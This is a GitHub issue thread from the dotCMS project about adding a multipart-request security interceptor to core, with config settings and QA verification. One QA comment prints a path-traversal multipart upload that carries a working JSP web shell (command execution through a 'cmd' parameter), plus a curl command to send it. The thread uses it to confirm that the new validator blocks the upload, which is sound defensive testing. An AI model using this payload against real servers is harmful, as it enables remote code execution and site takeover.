dotCMS / core

Headless/Hybrid Content Management System for Enterprises
http://dotcms.com
Other
865 stars 466 forks source link

Bring Multipart WebInterceptor into core #21854

Closed wezell closed 2 years ago

wezell commented 2 years ago

We need to bring this webinterceptor into core.

https://github.com/dotCMS/patches-hotfixes/tree/master/com.dotcms.security.multipartrequest

We will need to be able to configure

jdotcms commented 2 years ago

MULTI_PART_INTERCEPTOR_BLOCK_REQUESTS (default "/*") Url Mapping to apply the security

MULTI_PART_CACHE_IF_LARGER (default 51,200,000 bytes aka 50mb) if greater than 50mb the request, use the file system to store the request.

BOUNDED_BUFF_DEFAULT_MAX_LINE_LENGTH (default 1024) Max bytes per line

wezell commented 2 years ago

PR #21875

jdotcms commented 2 years ago

Needs work: it has merging issues moving to back log to working on it later

jdotcms commented 2 years ago

Needs work: it has merging issues moving to back log to working on it later

The merging issues have been fixed, the Deterministic API is throwing an error and mssql test are not even starting b/c that.

Scout mention that the System Host or System Folder are not being created and it needs research

jcastro-dotcms commented 2 years ago

Internal QA Completed!

Here are the steps to reproduce:

  1. Create a simple TXT file named hack-file.txt with the following content:
    
    --------------------------aadc326f7ae3eac3
    Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/html/js/dojo/a.jsp"
    Content-Type: text/plain

<%@ page import="java.util.,java.io."%> <% %>

Commands with JSP
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

--------------------------aadc326f7ae3eac3--

2. Try to upload it to dotCMS with the following cURL command:

curl \ -X POST \ -H "Content-Type: multipart/form-data; boundary=----------------------------aadc326f7ae3eac3" \ --data-binary @hack-file.txt \ 'http://localhost:8080/api/content/'

3. Check the `dotcms.log` file and look for a stack trace similar to the folowing:

dotcms_1 | 20:45:44.542 INFO util.SecurityLogger - class com.dotcms.security.multipart.IllegalTraversalFilePathValidator : The filename: '../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/root/html/js/dojo/a.jsp' is invalid -- ip:172.19.0.1,user:null dotcms_1 | 19-May-2022 20:45:44.545 SEVERE [Thread-21] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [RESTAPI] in context with path [] threw exception dotcms_1 | java.lang.IllegalArgumentException: Illegal Multipart Request dotcms_1 | at com.dotcms.security.multipart.IllegalTraversalFilePathValidator.validate(IllegalTraversalFilePathValidator.java:18) dotcms_1 | at com.dotcms.security.multipart.MultiPartSecurityRequestWrapper.testString(MultiPartSecurityRequestWrapper.java:183) dotcms_1 | at com.dotcms.security.multipart.MultiPartSecurityRequestWrapper.checkSecurityInputStream(MultiPartSecurityRequestWrapper.java:165) dotcms_1 | at com.dotcms.security.multipart.MultiPartSecurityRequestWrapper.checkMemory(MultiPartSecurityRequestWrapper.java:146) dotcms_1 | at com.dotcms.security.multipart.MultiPartSecurityRequestWrapper.(MultiPartSecurityRequestWrapper.java:60) dotcms_1 | at com.dotcms.security.multipart.MultiPartRequestSecurityWebInterceptor.intercept(MultiPartRequestSecurityWebInterceptor.java:43) ... ...

bryanboza commented 2 years ago

Fixed, tested on release-22.06 // Docker // FF. Tested with the provided steps and I'm getting the expected behavior here image